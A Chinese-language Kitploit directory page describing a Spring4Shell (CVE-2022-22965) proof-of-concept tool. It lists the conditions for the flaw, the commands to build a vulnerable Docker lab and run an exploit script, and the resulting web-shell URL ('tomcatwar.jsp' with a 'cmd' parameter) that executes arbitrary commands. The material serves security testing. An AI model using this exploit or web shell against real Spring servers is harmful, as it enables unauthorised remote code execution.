Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Spring4shell-CVE-2022-22965-POC — 另一个 spring4shell(Spring core RCE)POC | Kitploit
工具/GitHubGitHub/netcode/spring4shell-cve-2022-22965-poc
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试远程访问工具
GitHubnetcode/spring4shell-cve-2022-22965-poc

Spring4shell-CVE-2022-22965-POC

另一个 spring4shell(Spring core RCE)POC

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
3324年前尚未审核

Spring4shell RCE 漏洞

该漏洞影响 Spring Core,攻击者可以发送特制的 HTTP 请求,绕过库的 HTTP 请求解析器的保护,从而导致远程代码执行。

更多信息请访问 此处

要利用此漏洞,必须满足几个条件:

  • 使用 JDK 9 或更高版本
  • 使用 Apache Tomcat 作为 Servlet 容器
  • 打包为传统的 WAR(与 Spring Boot 可执行 jar 相对)
  • 使用 spring-webmvc 或 spring-webflux 依赖
  • 使用 Spring Framework 版本 5.3.0 到 5.3.17、5.2.0 到 5.2.19 或更早版本

POC

  • 构建 Docker 镜像
root@kitploit:~
docker build . -t springshell-rce-poc
  • 运行 Docker 容器
root@kitploit:~
docker run --rm -p 8081:8080 --name springshell-rce-poc springshell-rce-poc
  • 运行漏洞利用程序
root@kitploit:~
python exploit-poc.py --url "http://127.0.0.1:8081/"

预期响应

root@kitploit:~
exploiting
Shell URL:http://127.0.0.1:8081/tomcatwar.jsp?pwd=j&cmd=whoami

如果你访问此 URL,它将执行你想要的任何命令 cmd=<whatyouwant>

如果你通过 SSH 进入容器,将看到已创建了一个新文件 tomcatwar.jsp

root@kitploit:~
docker exec -it springshell-rce-poc /bin/bash
ls /usr/local/tomcat/webapps/ROOT
下载工具